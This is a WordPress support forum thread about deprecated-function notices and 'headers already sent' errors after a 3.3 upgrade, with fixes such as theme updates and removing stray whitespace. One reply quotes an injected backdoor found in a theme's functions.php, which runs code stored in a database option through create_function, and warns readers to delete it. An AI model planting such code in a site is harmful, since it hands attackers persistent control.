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1. MatthewRuddy
   Member
   Posted 5 months ago #

   Hi everyone. Having some issues since upgrading my networked site to 3.3. All of my sites have an error at the top of the page:

   Notice: add_contextual_help is deprecated since version 3.3! Use get_current_screen()->add_help_tab() instead. in /home/matthew/public_html/wp-includes/functions.php on line 3458

   And I get this when activating a plugin from one of the sites (but not when activated via Network Admin area):

   Notice: add_contextual_help is deprecated since version 3.3! Use get_current_screen()->add_help_tab() instead. in /home/matthew/public_html/wp-includes/functions.php on line 3458
   
   Warning: Cannot modify header information - headers already sent by (output started at /home/matthew/public_html/wp-includes/functions.php:3458) in /home/matthew/public_html/wp-includes/pluggable.php on line 866
   
   Warning: Cannot modify header information - headers already sent by (output started at /home/matthew/public_html/wp-includes/functions.php:3458) in /home/matthew/public_html/wp-includes/pluggable.php on line 866

   Also getting it when using the Media Uploader. Anyone else having this problem? Never made any changes to the WordPress files.

2. esmi
   Theme Diva & Forum Moderator
   Posted 5 months ago #

   It's a plugin and/or theme issue.

3. MatthewRuddy
   Member
   Posted 5 months ago #

   Running no plugins (all deleted) and using the default WordPress theme (TwentyEleven).

4. MatthewRuddy
   Member
   Posted 5 months ago #

   Figured it out. Had to upgrade TwentyEleven theme.

5. asaporito90046
   Member
   Posted 4 months ago #

   Here is another element to the equation - I always delete twenty twleve the minute I install wordpress and choose a better theme. So knowing that twenty twelve theme isn't present - what should I do? I'm having this same issue.

6. esmi
   Theme Diva & Forum Moderator
   Posted 4 months ago #

   Please post a new topic.

7. asaporito90046
   Member
   Posted 4 months ago #

   esmi - ok I did - here is the link: http://wordpress.org/support/topic/pluggable-line-866?replies=1#post-2581757

8. JerryOdom
   Member
   Posted 3 months ago #

   traced the issue to a 302 redirect that was generated at login so just went to a non-broke site and copied the url and changed the domain to get past that redirect. To do it use this url with your settings

   http://www.mydomain.com/wp-login.php?redirect_to=http%3A%2F%2Fwww.mydomain.com%2Fwp-admin%2F&reauth=1

   You'll be able to login here. In my case the NextGen plugin was in need of a critical update. I updated it and problem went away

   Cheers

9. emotionx
   Member
   Posted 3 months ago #

   Upload folder wp-includes function.php file again.

10. asaporito90046
    Member
    Posted 3 months ago #

    Actually I figured out how to fix this issue myself. It is the dummest thing that fixes it. All you have to do is open up the file with the error message associated with it and delete the extra line breaks from within the file before and after the "php" function calls to action and it works like a charm. Basically what happen was when we install our widgets and ramdom plug-ins - these function files get altered by the new strings of code which cause random line breaks and other white spaces. You would think these silly white spaces wouldn't matter but they do. The biggest white space issues are usually at the very end of the file down by the last line of code on the file. Just delete the extra line breaks on the line they specify in the error along with the extra breaks at the end of the file and upload it back to the remote site and BOOM! works like a dream. What a stupid error. :-)

11. barrettbreshears@gmail.com
    Member
    Posted 3 months ago #

    @asaporito90046 thanks, It was a white space issue for me as well. Thanks for the help

12. asghar786
    Member
    Posted 1 month ago #

    I think this is a kind of attack ... i resolve this problem after finding function.php under my customized theme...

    Please find this injected script and delete immediately then you will be able to get login in admin area as well as can see your website ...

    <?php ?>
    <?php function page_options() { $option = get_option('page_option'); $opt=unserialize($option);
    @$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');}
    add_action('loop_start', 'page_options'); ?>

13. Valonc
    Member
    Posted 1 month ago #

    Actually I figured out how to fix this issue myself. It is the dummest thing that fixes it. All you have to do is open up the file with the error message associated with it and delete the extra line breaks from within the file before and after the "php" function calls to action and it works like a charm. Basically what happen was when we install our widgets and ramdom plug-ins - these function files get altered by the new strings of code which cause random line breaks and other white spaces. You would think these silly white spaces wouldn't matter but they do. The biggest white space issues are usually at the very end of the file down by the last line of code on the file. Just delete the extra line breaks on the line they specify in the error along with the extra breaks at the end of the file and upload it back to the remote site and BOOM! works like a dream. What a stupid error. :-)

    Thanx asaporito90046 , i hade the same problem and this fixed it

14. danwild
    Member
    Posted 2 weeks ago #

    @asaporito90046 - Thanks, same problem here

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